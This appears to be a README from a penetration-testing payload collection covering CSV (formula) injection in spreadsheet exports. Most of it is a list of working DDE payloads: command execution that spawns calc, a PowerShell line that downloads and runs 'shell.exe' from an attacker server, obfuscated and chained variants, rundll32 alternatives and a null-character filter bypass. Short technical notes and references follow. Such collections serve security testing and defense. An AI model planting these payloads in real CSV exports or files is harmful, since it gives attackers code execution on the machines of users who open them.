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README.md |
CSV Injection
Many web applications allow the user to download content such as templates for invoices or user settings to a CSV file. Many users choose to open the CSV file in either Excel, Libre Office or Open Office. When a web application does not properly validate the contents of the CSV file, it could lead to contents of a cell or many cells being executed.
Summary
Methodology
Basic exploits with Dynamic Data Exchange.
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Spawn a calc
DDE ("cmd";"/C calc";"!A0")A0 @SUM(1+1)*cmd|' /C calc'!A0 =2+5+cmd|' /C calc'!A0 =cmd|' /C calc'!'A1'
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PowerShell download and execute
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
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Prefix obfuscation and command chaining
=AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A =cmd|'/c calc.exe'!A*cmd|'/c calc.exe'!A +thespanishinquisition(cmd|'/c calc.exe'!A = cmd|'/c calc.exe'!A
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Using rundll32 instead of cmd
=rundll32|'URL.dll,OpenURL calc.exe'!A =rundll321234567890abcdefghijklmnopqrstuvwxyz|'URL.dll,OpenURL calc.exe'!A
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Using null characters to bypass dictionary filters. Since they are not spaces, they are ignored when executed.
= C m D | '/ c c al c . e x e ' ! A
Technical details of the above payloads:
cmd
is the name the server can respond to whenever a client is trying to access the server/C
calc is the file name which in our case is the calc(i.e the calc.exe)!A0
is the item name that specifies unit of data that a server can respond when the client is requesting the data
Any formula can be started with
=
+
–
@
References
- CSV Excel Macro Injection - Timo Goosen, Albinowax - Jun 21, 2022
- CSV Excel formula injection - Google Bug Hunter University - May 22, 2022
- CSV Injection – A Guide To Protecting CSV Files - Akansha Kesharwani - 30/11/2017
- From CSV to Meterpreter - Adam Chester - November 05, 2015
- The Absurdly Underestimated Dangers of CSV Injection - George Mauer - 7 October, 2017
- Three New DDE Obfuscation Methods - ReversingLabs - September 24, 2018
- Your Excel Sheets Are Not Safe! Here's How to Beat CSV Injection - we45 - October 5, 2020